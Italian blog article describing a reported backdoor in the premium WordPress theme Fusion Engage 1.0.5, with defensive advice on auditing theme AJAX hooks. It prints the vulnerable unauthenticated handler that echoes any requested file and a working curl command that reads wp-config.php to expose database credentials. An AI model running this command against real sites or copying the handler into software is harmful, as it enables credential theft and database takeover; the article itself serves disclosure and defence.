Seguici su Telegram, ne vale la pena ❤️ ➡ @trovalost
Vai al contenuto

Come creare una backdoor PHP su WordPress per mostrare in chiaro il contenuto wp-config.php

In molti casi ho scritto che è bene non fidarsi dei theme e dei plugin a pagamento per WordPress: non potendo divulgarne il codice per ovvie ragioni il loro funzionamento resta una conoscenza per pochi, e questo crea potenziali falle informatiche di cui potremmo saperne poco o nulla. Del resto la filosofia dei disclosure “ragionati”, cioè pubblicare le falle solo dopo che sono state notificate e protette, non sempre può e viene effettivamente essere applicata: quella riportata qui si segnala per la particolare raffinatezza, in un certo senso.

Secondo TheWackolian, il ricercatore che ha scoperto il problema e notificato (a suo dire) inutilmente la cosa all’autore di Fusion Engage 1.0.5, il theme premium presenterebbe – il condizionale è d’0bbligo – una backdoor (cioè un “ingresso secondario” nascosto) che consente la visualizzazione del file wp-config.php da parte di un intruso non autorizzato.

In altri termini, se un sito in WordPress adotta tale theme (o qualsiasi altro che adotti la stessa tecnica subdola) può essere attaccato dall’esterno mediante una semplice CURL.

Riporto la cosa come approfondimento di sicurezza informatica e non tanto per l’emergenza in sè, che comunque interessa chi si occupa di sicurezza di siti in WordPress che dovrebbe fare attenzione alle action ed agli hook attivi nello stesso.

Leggi anche: settaggi avanzati del wp-config.php

Di norma non è possibile, in PHP, per un utente non loggato visualizzare il contenuto del codice di un qualsiasi file: motivo per cui le credenziali al database del sito sono memorizzate in chiaro nel wp-config come standard. Questo limite viene aggirato facilmente da questa semplice, ed altrettanto potente, tecnica: iIl theme in questione presenta infatti una action su un handler asincrono di questo tipo:

function fe_get_sv_html(){
global $wpdb, $video_db, $ann_db;

print(file_get_contents($_POST['video']));

wp_die();
}
add_action('wp_ajax_nopriv_fe_get_sv_html', 'fe_get_sv_html');
add_action('wp_ajax_fe_get_sv_html','fe_get_sv_html');

Basta quindi, semplicemente, richiedere la stampa dei contenuti del parametro POST dal nome ‘video’. L’attacco avviene quindi mediante una CURL non autenticata:

curl --data "action=fe_get_sv_html&video=../wp-config.php" "http://sitowp.est/wp-admin/admin-ajax.php";

che serve in pratica all’attaccante mostrare il contenuto di qualsiasi file PHP a sua scelta.

Nello specifico, possono essere mostrati username, password, nome del database e host di connessione, ovvero l’intruso può accedere al database, cancellarlo e modificarlo.

Si noti come il parametro –data serva a passare dei dati via POST, per l’appunto. La tecnica è notevole per la sua semplicità  ed efficacia, e quel che è ancora più importante è che potrebbe essere subdolamente presente anche su altri theme (soprattutto, per quanto detto prima, quelli closed source): bisognerebbe verificarli a mano per essere sicuri di non permettere un’azione del genere, che è “lecita” a mio avviso sulla maggioranza degli hosting. Plugin come Hook Sniffer di Marco Babini, almeno in teoria, dovrebbero essere utili allo scopo, cosଠcome ricercare nei file del theme stringhe / regex tipo:

add_action( 'wp_ajax_

e verificare se non si tratti di operazioni di backdoor come quella illustrata.

Non sono attualmente note patch correttive del problema ed è improbabile che, se il proprietario se ne disinteressa come pare, che ne possano arrivare: l’unica sarebbe pubblicare il codice corretto ma questo violerebbe le condizioni d’uso del codice commerciale, che non può essere divulgato senza violare il copyright. Rimane quindi il dubbio sulla vicenda, e nel frattempo è bene che non si usi questo theme per precauzione. I siti in WordPress che lo usano, quantomeno, non sono moltissimi, e anche cercando su Google non escono fuori molti risultati con siti potenzialmente fallati dal theme. La tecnica utilizzata secondo me è notevole e merita approfondimenti da parte di tutti i webmaster di siti in WordPress.

 

👇 Da non perdere 👇



Questo sito esiste da 4462 giorni (12 anni), e contiene ad oggi 6578 articoli (circa 5.262.400 parole in tutto) e 12 servizi online gratuiti. – Leggi un altro articolo a caso
Non ha ancora votato nessuno.

Ti sembra utile o interessante? Vota e fammelo sapere.

Questo sito contribuisce alla audience di sè stesso.
Il nostro network informativo: Lipercubo.it - Pagare.online - Trovalost.it.